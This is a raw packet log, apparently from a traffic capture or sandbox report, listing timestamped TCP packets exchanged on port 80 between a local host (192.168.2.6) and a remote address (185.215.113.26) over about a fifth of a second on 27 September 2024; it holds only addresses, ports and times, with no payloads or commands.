Sep 27, 2024 16:18:12.901029110 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.901042938 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.901091099 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.901107073 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.901139021 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.901155949 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.901192904 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.901246071 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.901277065 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.901292086 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.901309967 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.901330948 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.901343107 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.901366949 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.901391983 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.901530027 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.901561975 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.901576996 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.901595116 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.901607037 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.901628017 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.901642084 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.901660919 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.901683092 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.901693106 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.901705027 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.901729107 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.901743889 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.901791096 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.901925087 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.901969910 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.901976109 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.902009010 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.902025938 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.902054071 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.902137995 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.902168989 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.902184010 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.902201891 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.902214050 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.902234077 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.902247906 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.902388096 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.902395010 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.902426958 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.902443886 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.902461052 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.902472019 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.902493954 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.902508020 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.902525902 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.902558088 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.902558088 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.902584076 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.902590990 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.902612925 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.902631998 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.902774096 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.902823925 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.902842045 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.902874947 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.902892113 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.902915955 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.902992010 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.903023005 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.903039932 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.903055906 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.903068066 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.903090000 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.903100014 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.903135061 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.903337002 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.903368950 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.903398037 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.903422117 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.903426886 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.903458118 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.903472900 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.903490067 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.903506041 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.903522015 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.903527975 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.903554916 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.903568029 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.903589010 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.903603077 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.903645992 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.903732061 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.903780937 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.903781891 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.903814077 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.903829098 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.903862953 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.949577093 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.949590921 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.949605942 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.949647903 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.949647903 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.949701071 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.949717045 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.949754953 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.949754953 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.987348080 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.987401962 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.987437963 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.987456083 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.987488031 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.987502098 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.987502098 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.987521887 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.987534046 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.987555027 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.987570047 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.987587929 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.987610102 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.987621069 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.987632990 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.987653017 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.987672091 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.987689018 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.987700939 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.987723112 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.987736940 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.987776995 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.987780094 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.987807989 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.987829924 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.987854958 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.987858057 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.987889051 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.987912893 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.987937927 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.987941980 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.987970114 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.987993956 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.988027096 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.988051891 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.988101959 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.988102913 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.988136053 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:12.988157034 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:12.988178968 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.024842978 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.024905920 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.024992943 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025024891 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025043011 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025057077 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025068998 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025089025 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025095940 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025130987 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025137901 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025171041 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025182009 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025214911 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025222063 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025253057 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025271893 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025296926 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025316954 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025347948 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025357008 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025388002 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025399923 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025433064 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025444031 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025465965 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025474072 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025500059 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025506973 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025548935 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025587082 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025618076 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025629997 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025651932 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025660992 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025684118 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025692940 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025717020 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025723934 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025749922 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025758028 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025790930 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025856018 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025887012 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025897026 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025919914 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025930882 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025953054 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025962114 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.025985003 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.025996923 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.026031971 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.026124001 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.026155949 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.026166916 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.026190042 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.026205063 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.026221991 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.026232004 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.026254892 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.026263952 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.026297092 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.026412010 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.026446104 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.026458025 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.026478052 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.026494026 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.026510954 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.026535034 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.026544094 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.026562929 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.026576996 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.026587963 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.026609898 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.026623964 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.026648998 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.026781082 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.026812077 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.026825905 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.026844025 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.026851892 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.026876926 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.026885033 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.026911020 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.026917934 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.026942968 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.026947975 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.026978016 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.026983976 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.027018070 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.027092934 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.027141094 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.027251005 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.027282953 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.027307034 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.027314901 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.027324915 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.027347088 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.027359962 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.027378082 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.027412891 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.027426004 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.027446032 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.027478933 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.027493000 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.027524948 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.030443907 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.030494928 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.030523062 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.030570984 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.030571938 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.030605078 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.030615091 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.030636072 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.030648947 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.030668974 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.030679941 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.030703068 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.030714989 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.030846119 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.030878067 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.030878067 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.030896902 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.030910969 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.030927896 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.030941963 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.030951977 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.030975103 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.030988932 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031008005 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031018019 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031049967 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031054020 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031090021 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031105042 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031137943 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031162977 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031174898 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031186104 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031225920 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031236887 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031258106 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031267881 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031290054 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031297922 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031322956 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031331062 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031354904 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031363964 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031404972 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031409025 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031440973 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031445026 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031482935 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031482935 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031517982 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031523943 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031549931 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031558990 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031593084 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031614065 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031646013 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031655073 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031677961 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031688929 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031718969 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031784058 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031815052 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031826973 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031847954 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031867027 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031879902 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031889915 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031912088 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031920910 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031944036 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031965017 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.031975985 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.031985998 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.032008886 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.032027006 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.032042027 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.032052040 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.032083035 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.074573994 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.074625969 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.074656010 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.074695110 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.074706078 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.074737072 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.074748993 CEST	49609	80	192.168.2.6	185.215.113.26
